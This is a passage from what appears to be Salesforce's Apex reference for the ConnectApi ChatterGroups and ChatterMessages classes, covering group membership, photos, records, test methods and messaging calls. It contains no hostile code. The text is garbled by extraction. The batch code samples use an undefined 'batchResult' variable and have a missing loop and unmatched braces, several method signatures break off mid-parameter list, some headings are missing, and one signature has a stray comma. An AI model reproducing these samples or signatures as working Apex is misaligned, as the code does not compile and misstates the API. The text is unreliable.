// Create a list of group IDs.

List<String> groupIds = new List<String>();
for (ConnectApi.ChatterGroup aGroup : groupPage.groups){
groupIds.add(aGroup.id);
}
// Get info about all the groups in the list.

ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null,
groupIds);

// Print the number of members in each group.
ConnectApi.ChatterGroup aGroup;
if(batchResult.getResult() instanceof ConnectApi.ChatterGroup) {
aGroup = (ConnectApi.ChatterGroup) batchResult.getResult();
}
System.debug(aGroup.memberCount);
}
else {
}
}
SEE ALSO:
getGroupMembershipRequest(communityId, requestId)
Returns information about the specified request to join a private group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequest getGroupMembershipRequest(String
communityId, String requestId)
1226
Parameters
communityId
Type: String
requestId
Type: String
The ID of a request to join a private group.
Return Value
Type: ConnectApi.GroupMembershipRequest
Usage
getGroupMembershipRequests(communityId, groupId)
Returns information about every request to join the specified private group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String
communityId, String groupId)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupMembershipRequests
1227
Usage
getGroupMembershipRequests(communityId, groupId, status)

Returns information about every request to join the specified private group that has a specified status.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String
communityId, String groupId, ConnectApi.GroupMembershipRequestStatus status)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
status
Type: ConnectApi.GroupMembershipRequestStatus
status—The status of a request to join a private group.
• Accepted
• Declined
• Pending
Return Value
Type: ConnectApi.GroupMembershipRequests
Usage
getGroups(communityId)
Returns the first page of all the groups. The page contains the default number of items.
1228
API Version
28.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId)
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.ChatterGroupPage
getGroups(communityId, pageParam, pageSize)

Returns the specified page of information about all groups.
API Version
28.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer
Parameters
communityId
Type: String
1229

pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getGroups(communityId, pageParam, pageSize, archiveStatus)

Returns the specified page of information about a set of groups with a specified group archive status.
API Version
29.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer
pageParam, Integer pageSize, ConnectApi.GroupArchiveStatus archiveStatus)
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
archiveStatus
Type: ConnectApi.GroupArchiveStatus
Specifies a set of groups based on whether the groups are archived or not.
1230
• All—All groups, including groups that are archived and groups that are not archived.
• Archived—Only groups that are archived.
• NotArchived—Only groups that are not archived.
If you pass in null, the default value is All.
Return Value
getMember(communityId, membershipId)
Returns information about the specified group member.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMember getMember(String communityId, String membershipId)
Parameters
communityId
Type: String
membershipId
Type: String
Return Value
getMembers(communityId, groupId)
Get the first page of information about members of a group. The page contains the default number of items.
API Version
28.0

36.0
1231
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupMemberPage
getMembers(communityId, groupId, pageParam, pageSize)

Get the specified page of information about members of a group.
API Version
28.0

36.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId,
Parameters
communityId
Type: String
groupId
Type: String
1232
The ID for a group.

pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Type: ConnectApi.GroupMemberPage
Gets information about the specified list of group memberships. Returns a list of BatchResult objects containing
ConnectApi.GroupMember objects. Returns errors embedded in the results for group memberships that couldn’t be accessed.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getMembershipBatch(String communityId,
List<String> membershipIds)
Parameters
communityId
Type: String
membershipIds
Type: List<String>
A list of up to 500 group membership IDs.
Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.GroupMember object.
1233
Example
// Get members of a group.
ConnectApi.GroupMemberPage membersPage = ConnectApi.ChatterGroups.getMembers(null,
'0F9D00000000oOT');
// Create a list of membership IDs.

List<String> membersList = new List<String>();
for (ConnectApi.GroupMember groupMember : membersPage.members){
membersList.add(groupMember.id);
}
// Get info about all group memberships in the list.

ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getMembershipBatch(null,
membersList);

// Print the first name of each member.
ConnectApi.GroupMember groupMember;
if(batchResult.getResult() instanceof ConnectApi.GroupMember) {
groupMember = (ConnectApi.GroupMember) batchResult.getResult();
}
System.debug(groupMember.user.firstName);
}
else {
}
}
SEE ALSO:
getMyChatterSettings(communityId, groupId)
Returns the context user’s Chatter settings for the specified group.
API Version
28.0
Requires Chatter
Yes
1234
Signature
public static ConnectApi.GroupChatterSettings getMyChatterSettings(String communityId,
String groupId)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupChatterSettings
getPhoto(communityId, groupId)
Returns information about the photo for the specified group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo getPhoto(String communityId, String groupId)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.Photo
1235
getRecord(communityId, groupRecordId)
Returns information about a record associated with a group.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecord getRecord(String communityId, String groupRecordId)
Parameters
communityId
Type: String
groupRecordId
Type: String
ID of the group record.
Return Value
Type: ConnectApi.GroupRecord
getRecords(communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.
API Version
33.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId)
Parameters
communityId
Type: String
1236
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupRecordPage
getRecords(communityId, groupId, pageParam, pageSize)

Returns the specified page from the list of records associated with a group.
API Version
33.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId,
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Type: ConnectApi.GroupRecordPage
inviteUsers(groupId, invite)
Invite internal and external users to join a group.
1237
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.Invitations inviteUsers(String groupId, ConnectApi.InviteInput
invite)
Parameters
groupId
Type: String
ID of the group.
invite
Type: ConnectApi.InviteInput
A ConnectApi.InviteInput body.
Return Value
Type: ConnectApi.Invitations

Posts an announcement to the group.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.Announcement postAnnouncement(String communityId, String
groupId, ConnectApi.AnnouncementInput announcement)
Parameters
communityId
Type: String
groupId
Type: String
1238
The ID for a group.

announcement
Type: ConnectApi.AnnouncementInput
A ConnectApi.AnnouncementInput object.
Return Value
Usage
Use an announcement to highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post
deletes the announcement.
removeRecord(communityId, groupRecordId)
Removes the association of a record with a group.
API Version
34.0
Requires Chatter
Yes
Signature
public static Void removeRecord(String communityId, String groupRecordId)
Parameters
communityId
Type: String
groupRecordId
Type: String
ID of the group record.
Return Value
Type: Void
requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.
1239
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequest requestGroupMembership(String
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Sample: Requesting to Join a Private Group

This sample code calls ConnectApi.ChatterGroups.requestGroupMembership to request to join a private group.
ID groupId = '0F9x00000000hAZ';
ConnectApi.GroupMembershipRequest membershipRequest =
ConnectApi.ChatterGroups.requestGroupMembership(communityId, groupId);
Returns the first page of groups that match the specified search criteria. The page contains the default number of items.
API Version
28.0

31.0
Requires Chatter
Yes
1240
Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q)
Parameters
communityId
Type: String
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
Return Value
Usage
SEE ALSO:
setTestSearchGroups(communityId, q, result)

Returns the specified page of groups that match the specified search criteria.
API Version
28.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q,
1241
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestSearchGroups(communityId, q, pageParam, pageSize, result)

Returns the specified page of groups that match the specified search criteria and that have the specified archive status.
API Version
29.0

31.0
Requires Chatter
Yes
1242
Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q,
ConnectApi.GroupArchiveStatus archiveStatus, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
q
Type: String
archiveStatus
archiveStatus Specifies a set of groups based on whether the groups are archived or not.
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize, result)
setBannerPhoto(communityId, groupId, fileId, versionNumber)

Sets the group banner photo to an already uploaded file.
1243
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId,
String fileId, Integer versionNumber)
Parameters
communityId
Type: String
groupId
Type: String
fileId
Type: String
The ID of the already uploaded file. The key prefix must be 069, and the image must be smaller than 8 MB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.
Return Value
Usage
Photos are processed asynchronously and may not be visible right away.
setBannerPhoto(communityId, groupId, fileUpload)

Sets the group banner photo to a file that hasn’t been uploaded.
API Version
36.0
Requires Chatter
Yes
1244
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId,
ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
groupId
Type: String
fileUpload
A file to use as the photo. The content type must be usable as an image.
Return Value
Usage
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)

Sets and crops an already uploaded file as the group banner photo.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String groupId, ConnectApi.BannerPhotoInput bannerPhoto)
Parameters
communityId
Type: String
1245
groupId
Type: String
bannerPhoto
Type: ConnectApi.BannerPhotoInput
A ConnectApi.BannerPhotoInput object that specifies the ID and version of the file, and how to crop the file.
Return Value
Usage
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)

Sets the group banner photo to a file that hasn’t been uploaded and requires cropping.
API Version
36.0
Requires Chatter
Yes
Signature
String groupId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput
fileUpload)
Parameters
communityId
Type: String
groupId
Type: String
bannerPhoto
A ConnectApi.BannerPhotoInput object specifying the cropping parameters.
fileUpload
1246
Return Value
Usage
setPhoto(communityId, groupId, fileId, versionNumber)

Sets the group photo to an already uploaded file.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId, String
fileId, Integer versionNumber)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
fileId
Type: String
ID of a file already uploaded. The key prefix must be 069, and the file must be an image that is smaller than 2 GB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.
Return Value
1247
Usage
Sample: Updating a Group Photo with an Existing File

When a group is created, it doesn’t have a group photo. You can set an existing photo that has already been uploaded to Salesforce as
the group photo. The key prefix must be 069 and the file size must be less than 2 GB.
ID groupId = '0F9x00000000hAK';
ID fileId = '069x00000001Ion';
// Set photo
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, fileId,
null);
setPhoto(communityId, groupId, fileUpload)

Sets the group photo to the specified blob..
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId,
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
fileUpload
Return Value
1248
Usage
Sample: Uploading a New File and Using it as a Group Photo

When a group is created, it doesn’t have a group photo. You can upload a photo and set it as the group photo.
ID groupId = '0F9x00000000hAP';
ID photoId = '069x00000001Ioo';
// Set photo
List<ContentVersion> groupPhoto = [Select c.VersionData From ContentVersion c where
ContentDocumentId=:photoId];
ConnectApi.BinaryInput binary = new ConnectApi.BinaryInput(groupPhoto.get(0).VersionData,
'image/png', 'image.png');
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, binary);

Sets and crops an already uploaded file as the group photo.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId,
ConnectApi.PhotoInput photo)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object that specifies the ID and version of the file, and how to crop the file.
1249
Return Value
Usage

Sets and crops a binary input as the group photo.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
photo
A ConnectApi.PhotoInput object that specifies how to crop the file specified in fileUpload.
fileUpload
Return Value
Usage
1250

Update the settings of a group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroup updateGroup(String communityId, String groupId,
ConnectApi.ChatterGroupInput groupInput)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
groupInput
Type: ConnectApi.ChatterGroupInput
A ConnectApi.ChatterGroupInput object.
Return Value
Type: ConnectApi.ChatterGroup
Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Use this method
to update any settings in the ConnectApi.ChatterGroupInput class. These settings include the group title and text in the
“Information” section, whether the group is public or private, and whether the group is archived.
Example
This example archives a group:
String groupId = '0F9D00000000qSz';
ConnectApi.ChatterGroupInput groupInput = new ConnectApi.ChatterGroupInput();
1251
groupInput.isArchived = true;
ConnectApi.ChatterGroups.updateGroup(communityId, groupId, groupInput);
updateGroupMember(communityId, membershipId, role)

Updates the specified group membership with the specified role in the specified community. This method is successful only when the
context user is the group manager or owner, or has Modify All Data permission.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroup updateGroupMember(String communityId, String
membershipId, ConnectApi.GroupMembershipType role)
Parameters
communityId
Type: String
membershipId
Type: String
role
Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
• GroupManager
• StandardMember
Return Value
Type: ConnectApi.ChatterGroup
updateMyChatterSettings(communityId, groupId, emailFrequency)

Updates the context user’s Chatter settings for the specified group.
API Version
28.0
1252
Requires Chatter
Yes
Signature
public static ConnectApi.GroupChatterSettings updateMyChatterSettings(String communityId,
String groupId, ConnectApi.GroupEmailFrequency emailFrequency)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
emailFrequency
Type: ConnectApi.GroupEmailFrequency
emailFrequency—Specifies the frequency with which a user receives email.
• EachPost
• DailyDigest
• WeeklyDigest
• Never
• UseDefault
The value UseDefault uses the value set in a call to updateChatterSettings(communityId, userId,
defaultGroupEmailFrequency).
Return Value
Type: ConnectApi.GroupChatterSettings
updateRequestStatus(communityId, requestId, status)

Updates a request to join a private group.
API Version
28.0
Requires Chatter
Yes
1253
Signature
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId,
String requestId, ConnectApi.GroupMembershipRequestStatus status)
Parameters
communityId
Type: String
requestId
Type: String
The ID for a request to join a private group.
status
The status of the request:
• Accepted
• Declined
The Pending value of the enum is not valid in this method.
Return Value
Usage
Sample: Accepting or Declining a Request to Join a Private Group

This sample code calls ConnectApi.ChatterGroups.updateRequestStatus and passes it the membership request ID
and an ConnectApi.GroupMembershipRequestStatus.Accepted status. You can also pass
ConnectApi.GroupMembershipRequestStatus.Declined.

ID groupId = '0F9x00000000hAZ';
String requestId = '0I5x000000001snCAA';
ConnectApi.GroupMembershipRequest membershipRequestRep =
ConnectApi.ChatterGroups.updateRequestStatus(communityId, requestId,
ConnectApi.GroupMembershipRequestStatus.Accepted);
updateRequestStatus(communityId, requestId, status, responseMessage)

Updates a request to join a private group and optionally provides a message when the request is denied.
API Version
35.0
1254
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId,
String requestId, ConnectApi.GroupMembershipRequestStatus status, String responseMessage)
Parameters
communityId
Type: String
requestId
Type: String
The ID for a request to join a private group.
status
The status of the request:
• Accepted
• Declined
The Pending value of the enum is not valid in this method.
responseMessage
Type: String
Provide a message to the user if their membership request is declined. The value of this property is used only when the value of the
status property is Declined.
The maximum length is 756 characters.
Return Value
Usage
ChatterGroups Test Methods

The following are the test methods for ChatterGroups. All methods are static.
setTestSearchGroups(communityId, q, result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups
method is called in a test context. Use the test method with the same parameters or you receive an exception.
1255
API Version
29.0
Signature
public static Void setTestSearchGroups(String communityId, String q,
ConnectApi.ChatterGroupPage result)
Parameters
communityId
Type: String
q
Type: String
result
The test ConnectApi.ChatterGroupPage object.
Return Value
Type: Void
SEE ALSO:
setTestSearchGroups(communityId, q, pageParam, pageSize, result)

API Version
28.0
Signature
public static Void setTestSearchGroups(String communityId, String q, Integer pageParam,
Integer pageSize, ConnectApi.ChatterGroupPage result)
Parameters
communityId
Type: String
1256

q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize, result)

API Version
29.0
Signature
public static Void setTestSearchGroups(String communityId, String q,
ConnectApi.GroupArchiveStatus, archiveStatus, Integer pageParam, Integer pageSize,
ConnectApi.ChatterGroupPage result)
Parameters
communityId
Type: String
q
Type: String
1257
archiveStatus
archiveStatusSpecifies a set of groups based on whether the groups are archived or not.
pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
ChatterMessages Class
Access and modify message and conversation data.
Namespace
ConnectApi
Usage
Use Chatter in Apex to get, send, search, and reply to messages. You can also get and search conversations, mark conversations as read,
and get a count of unread messages.
ChatterMessages Methods
The following are methods for ChatterMessages. All methods are static.
1258
IN THIS SECTION:
getConversation(conversationId)
Returns a conversation the context user has access to.
getConversation(conversationId, pageParam, pageSize)
getConversation(communityId, conversationId)
Returns a conversation the context user has access to across their available communities.
getConversation(communityId, conversationId, pageParam, pageSize)
Returns a conversation from a specific page with a specific number of results the context user has access to across their available
communities.
getConversations()
Returns the most recent conversations the context user has access to.
getConversations(pageParam, pageSize)
Returns a specific page of conversations the context user has access to.
getConversations(communityId)
Returns the most recent conversations the context user has access to across their available communities.
getConversations(communityId, pageParam, pageSize)
Returns a specific page of conversations with a specific number of results the context user has access to across their available
communities.
getMessage(messageId)
Returns a message the context user has access to.
getMessage(communityId, messageId)
Returns a message the context user has access to across their available communities.
getMessages()
Returns a list of the most recent messages the context user has access to.
getMessages(pageParam, pageSize)
Returns the specified page of messages the context user has access to.
getMessages(communityId)
Returns a list of the most recent messages the context user has access to across their available communities.
getMessages(communityId, pageParam, pageSize)
Returns the specified page of messages with the specified number of results the context user has access to across their available
communities.
getUnreadCount()
Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact
unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.
getUnreadCount(communityId)
Returns the number of conversations the context user has marked unread across their available communities. If the number is less
than 50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and
hasMore = true.
markConversationRead(conversationId, read)
Marks a conversation as read for the context user.
1259
markConversationRead(communityId, conversationID, read)

Marks a conversation as read or unread for the context user across their available communities.
replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.
replyToMessage(communityId, text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to across their available communities.
searchConversation(conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.
searchConversation(conversationId, pageParam, pageSize, q)
searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across
their available communities.
searchConversation(communityId, conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across
their available communities.
searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match
any of the specified search criteria.
searchConversations(pageParam, pageSize, q)
any of the specified search criteria.
searchConversations(communityId, q)
any of the specified search criteria across their available communities.
searchConversations(communityId, pageParam, pageSize, q)
Returns a specific page of conversations with the specified number of results the context user has access to where member names
and messages in the conversations match any of the specified search criteria across their available communities.
searchMessages(q)
Returns a page of messages the context user has access to that matches any of the specified criteria.
searchMessages(pageParam, pageSize, q)
searchMessages(communityId, q)
Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.
searchMessages(communityId, pageParam, pageSize, q)
Returns a specific page of messages with the specified number of results the context user has access to that matches any of the
specified criteria across their available communities.
sendMessage(text, recipients)
Sends the specified text to the indicated recipients.
sendMessage(communityId, text, recipients)
Sends the specified text to the indicated recipients across their available communities.
1260
getConversation(conversationId)
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId)
Parameters
conversationId
Type: String
Specify the ID for the conversation.
Return Value
Type: ConnectApi.ChatterConversation
getConversation(conversationId, pageParam, pageSize)

API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId,
Parameters
conversationId
Type: String
pageParam
Type: String
1261
pageSize
Type: Integer
Return Value
getConversation(communityId, conversationId)
Returns a conversation the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String
conversationId)
Parameters
communityId
Type:String
conversationId
Type: String
Return Value
A Chatter conversation and the related metadata.
getConversation(communityId, conversationId, pageParam, pageSize)

Returns a conversation from a specific page with a specific number of results the context user has access to across their available
communities.
API Version
30.0
1262
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String
conversationId, String pageParam, String pageSize)
Parameters
communityId
Type:String
conversationId
Type: String
pageParam
Type:String
pageSize
Type: Integer
Return Value
getConversations()
Returns the most recent conversations the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage getConversations()
1263
Return Value
Type: ConnectApi.ChatterConversationPage
getConversations(pageParam, pageSize)
Returns a specific page of conversations the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage getConversations(String pageParam,
Integer pageSize)
Parameters
pageParam
Type: String
pageSize
Type: Integer
Return Value
getConversations(communityId)
Returns the most recent conversations the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage getConversations(String communityId)
1264
Parameters
communityId
Type:String
Return Value
A list of Chatter conversations on a specific page.
getConversations(communityId, pageParam, pageSize)

Returns a specific page of conversations with a specific number of results the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage getConversations(String communityId,
Parameters
communityId
Type:String
pageParam
Type:String
pageSize
Type: Integer
Return Value
1265
getMessage(messageId)
Returns a message the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage getMessage(String messageId)
Parameters
messageId
Type: String
Specify the ID for the message.
Return Value
Type: ConnectApi.ChatterMessage
getMessage(communityId, messageId)
Returns a message the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage getMessage(String communityId, String messageId)
Parameters
communityId
Type:String
messageId
Type: String
Specify the ID for the message.
1266
Return Value
Type:ConnectApi.ChatterMessage
A Chatter message and all the related metadata.
getMessages()
Returns a list of the most recent messages the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages()
Return Value
Type: ConnectApi.ChatterMessagePage
getMessages(pageParam, pageSize)
Returns the specified page of messages the context user has access to.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages(String pageParam, Integer
pageSize)
Parameters
pageParam
Type: String
pageSize
Type: Integer
1267
Return Value
getMessages(communityId)
Returns a list of the most recent messages the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages(String communityId)
Parameters
communityId
Type:String
Return Value
The Chatter messages on a specific page.
getMessages(communityId, pageParam, pageSize)

Returns the specified page of messages with the specified number of results the context user has access to across their available
communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage getMessages(String communityId, String
1268
Parameters
communityId
Type:String
pageParam
Type: String
pageSize
Type: Integer
Return Value
getUnreadCount()
Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact unreadCount,
and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.UnreadConversationCount getUnreadCount()
Return Value
Type: ConnectApi.UnreadConversationCount
Example
ConnectApi.UnreadConversationCount unread = ConnectApi.ChatterMessages.getUnreadCount();
getUnreadCount(communityId)
Returns the number of conversations the context user has marked unread across their available communities. If the number is less than
50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore =
true.
1269
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.UnreadConversationCount getUnreadCount(String communityId)
Parameters
communityId
Type:String
Return Value
Type: ConnectApi.UnreadConversationCount
The number of unread messages in a conversation.
markConversationRead(conversationId, read)
Marks a conversation as read for the context user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationSummary markConversationRead(String
conversationId, Boolean read)
Parameters
conversationId
Type: String
read
Type: Boolean
Specifies whether the conversation has been read (true) or not (false).
1270
Return Value
Type: ConnectApi.ChatterConversationSummary
markConversationRead(communityId, conversationID, read)

Marks a conversation as read or unread for the context user across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationSummary markConversationRead(String
communityId, String conversationID, Boolean read)
Parameters
communityId
Type:String
conversationId
Type: String
read
Type: Boolean
Specifies whether the conversation has been read (true) or not (false).
Return Value
Type: ConnectApi.ChatterConversationSummary
The summary of a Chatter conversation, including the members of the conversation, Chatter REST API URL, and contents of the latest
message.
replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.
API Version
29.0
1271
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage replyToMessage(String text, String inReplyTo)
Parameters
text
Type: String
The text of the message. Cannot be empty or over 10,000 characters.
inReplyTo
Type: String
Specify the ID of the message that is being responded to.
Return Value
replyToMessage(communityId, text, inReplyTo)

Adds the specified text as a response to a previous message the context user has access to across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage replyToMessage(String communityId, String text,
String inReplyTo)
Parameters
communityId
Type:String
text
Type: String
inReplyTo
Type: String
1272
Specify the ID of the message that is being responded to.
Return Value
searchConversation(conversationId, q)
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId,
String q)
Parameters
conversationId
Type: String
q
Type: String
Return Value
searchConversation(conversationId, pageParam, pageSize, q)

API Version
29.0
Requires Chatter
Yes
1273
Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId,
String pageParam, Integer pageSize, String q)
Parameters
conversationId
Type: String
pageParam
Type: String
pageSize
Type: Integer
q
Type: String
Return Value
searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their
available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String q)
Parameters
communityId
Type:String
1274
conversationId
Type: String
q
Type: String
Return Value
searchConversation(communityId, conversationId, pageParam, pageSize, q)

Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their
available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String pageParam, Integer pageSize, String q)
Parameters
communityId
Type:String
conversationId
Type: String
pageParam
Type: String
pageSize
Type: Integer
1275
q
Type: String
Return Value
searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of
the specified search criteria.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String q)
Parameters
q
Type: String
Return Value
searchConversations(pageParam, pageSize, q)
the specified search criteria.
API Version
29.0
Requires Chatter
Yes
1276
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String pageParam,
Integer pageSize, String q)
Parameters
pageParam
Type: String
pageSize
Type: Integer
q
Type: String
Return Value
searchConversations(communityId, q)
the specified search criteria across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String communityId,
String q)
Parameters
communityId
Type:String
q
Type: String
1277
Return Value
searchConversations(communityId, pageParam, pageSize, q)

Returns a specific page of conversations with the specified number of results the context user has access to where member names and
messages in the conversations match any of the specified search criteria across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterConversationPage searchConversations(String communityId,
String pageParam, Integer pageSize, String q)
Parameters
communityId
Type:String
pageParam
Type: String
pageSize
Type: Integer
q
Type: String
Return Value
1278
searchMessages(q)
API Version
29.0
Requires Chatter
Yes
Signature
